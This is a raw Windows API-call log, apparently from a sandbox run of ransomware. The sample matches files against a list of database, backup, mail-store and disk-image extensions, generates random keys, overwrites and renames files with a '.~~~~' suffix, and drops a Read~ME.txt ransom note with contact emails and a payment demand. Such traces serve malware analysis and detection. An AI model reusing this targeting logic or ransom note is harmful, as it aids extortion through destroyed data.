	[0084.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".bdb") returned 0x0
	[0084.926] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.926] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.928] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.928] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.928] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20491791416) returned 1
	[0084.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c7417b0, dwHighDateTime=0x1d60e1e)) 
	[0084.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28625d0
	[0084.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28625d0 | out: hHeap=0x300000) returned 1
	[0084.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6dc0
	[0084.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6dc0 | out: hHeap=0x300000) returned 1
	[0084.928] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0084.929] GetLastError () returned 0x0
	[0084.929] GetLastError () returned 0x0
	[0084.929] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0084.929] GetLastError () returned 0x0
	[0084.929] GetLastError () returned 0x0
	[0084.931] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffdb7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.931] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x249, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x249, lpOverlapped=0x0) returned 1
	[0084.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.933] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.933] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.934] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.934] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.934] CloseHandle (hObject=0x11c) returned 1
	[0084.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0084.934] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.~~~~")) returned 1
	[0084.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0084.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.935] GetLastError () returned 0x0
	[0084.935] RtlWakeConditionVariable () returned 0x365f70
	[0084.935] GetCurrentThreadId () returned 0x9f4
	[0084.935] GetCurrentThreadId () returned 0x9f4
	[0084.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0084.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abf48 | out: hHeap=0x300000) returned 1
	[0084.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9d38 | out: hHeap=0x300000) returned 1
	[0084.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abf48
	[0084.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.936] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.936] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.938] CloseHandle (hObject=0x11c) returned 1
	[0084.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abf48 | out: hHeap=0x300000) returned 1
	[0084.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e58 | out: hHeap=0x300000) returned 1
	[0084.938] RtlWakeConditionVariable () returned 0x365f70
	[0084.938] GetCurrentThreadId () returned 0x9f4
	[0084.938] GetCurrentThreadId () returned 0x9f4
	[0084.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0084.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f39e0 | out: hHeap=0x300000) returned 1
	[0084.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c9e0 | out: hHeap=0x300000) returned 1
	[0084.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f39e0
	[0084.938] lstrlenW (lpString=".scr") returned 4
	[0084.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".scr") returned 0x0
	[0084.938] lstrlenW (lpString=".cmd") returned 4
	[0084.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".cmd") returned 0x0
	[0084.938] lstrlenW (lpString=".dll") returned 4
	[0084.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".dll") returned 0x0
	[0084.939] lstrlenW (lpString=".bat") returned 4
	[0084.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".bat") returned 0x0
	[0084.939] lstrlenW (lpString=".cpl") returned 4
	[0084.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".cpl") returned 0x0
	[0084.939] lstrlenW (lpString=".sys") returned 4
	[0084.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".sys") returned 0x0
	[0084.939] lstrlenW (lpString=".msc") returned 4
	[0084.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".msc") returned 0x0
	[0084.939] lstrlenW (lpString=".com") returned 4
	[0084.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".com") returned 0x0
	[0084.939] lstrlenW (lpString=".lnk") returned 4
	[0084.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".lnk") returned 0x0
	[0084.939] lstrlenW (lpString=".msp") returned 4
	[0084.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".msp") returned 0x0
	[0084.939] lstrlenW (lpString=".pif") returned 4
	[0084.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".pif") returned 0x0
	[0084.939] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.940] lstrlenW (lpString=".sqb") returned 4
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".sqb") returned 0x0
	[0084.940] lstrlenW (lpString=".ost") returned 4
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".ost") returned 0x0
	[0084.940] lstrlenW (lpString=".txt") returned 4
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".txt") returned 0x0
	[0084.940] lstrlenW (lpString=".mdt") returned 4
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".mdt") returned 0x0
	[0084.940] lstrlenW (lpString=".BDB") returned 4
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".BDB") returned 0x0
	[0084.940] lstrlenW (lpString=".eql") returned 4
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".eql") returned 0x0
	[0084.940] lstrlenW (lpString=".DBF") returned 4
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".DBF") returned 0x0
	[0084.940] lstrlenW (lpString=".EQL") returned 4
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".EQL") returned 0x0
	[0084.940] lstrlenW (lpString=".FDB") returned 4
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".FDB") returned 0x0
	[0084.940] lstrlenW (lpString=".EDB") returned 4
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".EDB") returned 0x0
	[0084.940] lstrlenW (lpString=".DACPAC") returned 7
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.940] lstrlenW (lpString=".VHD") returned 4
	[0084.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".VHD") returned 0x0
	[0084.941] lstrlenW (lpString=".DBV") returned 4
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".DBV") returned 0x0
	[0084.941] lstrlenW (lpString=".dacpac") returned 7
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".dacpac") returned 0x0
	[0084.941] lstrlenW (lpString=".sdf") returned 4
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".sdf") returned 0x0
	[0084.941] lstrlenW (lpString=".accdb") returned 6
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".accdb") returned 0x0
	[0084.941] lstrlenW (lpString=".DBX") returned 4
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".DBX") returned 0x0
	[0084.941] lstrlenW (lpString=".MDT") returned 4
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".MDT") returned 0x0
	[0084.941] lstrlenW (lpString=".SQB") returned 4
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".SQB") returned 0x0
	[0084.941] lstrlenW (lpString=".vhd") returned 4
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".vhd") returned 0x0
	[0084.941] lstrlenW (lpString=".bac") returned 4
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".bac") returned 0x0
	[0084.941] lstrlenW (lpString=".mdf") returned 4
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".mdf") returned 0x0
	[0084.941] lstrlenW (lpString=".BAK") returned 4
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".BAK") returned 0x0
	[0084.941] lstrlenW (lpString=".BAC") returned 4
	[0084.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".BAC") returned 0x0
	[0084.941] lstrlenW (lpString=".dbs") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".dbs") returned 0x0
	[0084.942] lstrlenW (lpString=".vhdx") returned 5
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".vhdx") returned 0x0
	[0084.942] lstrlenW (lpString=".NDF") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".NDF") returned 0x0
	[0084.942] lstrlenW (lpString=".dat") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".dat") returned 0x0
	[0084.942] lstrlenW (lpString=".DBS") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".DBS") returned 0x0
	[0084.942] lstrlenW (lpString=".CKP") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".CKP") returned 0x0
	[0084.942] lstrlenW (lpString=".edb") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".edb") returned 0x0
	[0084.942] lstrlenW (lpString=".PST") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".PST") returned 0x0
	[0084.942] lstrlenW (lpString=".dbf") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".dbf") returned 0x0
	[0084.942] lstrlenW (lpString=".SQL") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".SQL") returned 0x0
	[0084.942] lstrlenW (lpString=".pst") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".pst") returned 0x0
	[0084.942] lstrlenW (lpString=".dbv") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".dbv") returned 0x0
	[0084.942] lstrlenW (lpString=".SDF") returned 4
	[0084.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".SDF") returned 0x0
	[0084.942] lstrlenW (lpString=".dtxs") returned 5
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".dtxs") returned 0x0
	[0084.943] lstrlenW (lpString=".db3") returned 4
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".db3") returned 0x0
	[0084.943] lstrlenW (lpString=".OST") returned 4
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".OST") returned 0x0
	[0084.943] lstrlenW (lpString=".dbx") returned 4
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".dbx") returned 0x0
	[0084.943] lstrlenW (lpString=".DB3") returned 4
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".DB3") returned 0x0
	[0084.943] lstrlenW (lpString=".DAT") returned 4
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".DAT") returned 0x0
	[0084.943] lstrlenW (lpString=".VHDX") returned 5
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".VHDX") returned 0x0
	[0084.943] lstrlenW (lpString=".ndf") returned 4
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".ndf") returned 0x0
	[0084.943] lstrlenW (lpString=".DB") returned 3
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".DB") returned 0x0
	[0084.943] lstrlenW (lpString=".sql") returned 4
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".sql") returned 0x0
	[0084.943] lstrlenW (lpString=".MYD") returned 4
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".MYD") returned 0x0
	[0084.943] lstrlenW (lpString=".DBT") returned 4
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".DBT") returned 0x0
	[0084.943] lstrlenW (lpString=".ACCDB") returned 6
	[0084.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.943] lstrlenW (lpString=".fdb") returned 4
	[0084.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".fdb") returned 0x0
	[0084.944] lstrlenW (lpString=".bak") returned 4
	[0084.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".bak") returned 0x0
	[0084.944] lstrlenW (lpString=".myd") returned 4
	[0084.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".myd") returned 0x0
	[0084.944] lstrlenW (lpString=".DTXS") returned 5
	[0084.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".DTXS") returned 0x0
	[0084.944] lstrlenW (lpString=".ckp") returned 4
	[0084.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".ckp") returned 0x0
	[0084.944] lstrlenW (lpString=".dbt") returned 4
	[0084.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".dbt") returned 0x0
	[0084.944] lstrlenW (lpString=".db") returned 3
	[0084.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".db") returned 0x0
	[0084.944] lstrlenW (lpString=".TXT") returned 4
	[0084.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".TXT") returned 0x0
	[0084.944] lstrlenW (lpString=".MDF") returned 4
	[0084.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".MDF") returned 0x0
	[0084.944] lstrlenW (lpString=".bdb") returned 4
	[0084.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".bdb") returned 0x0
	[0084.944] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.944] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.945] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.946] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
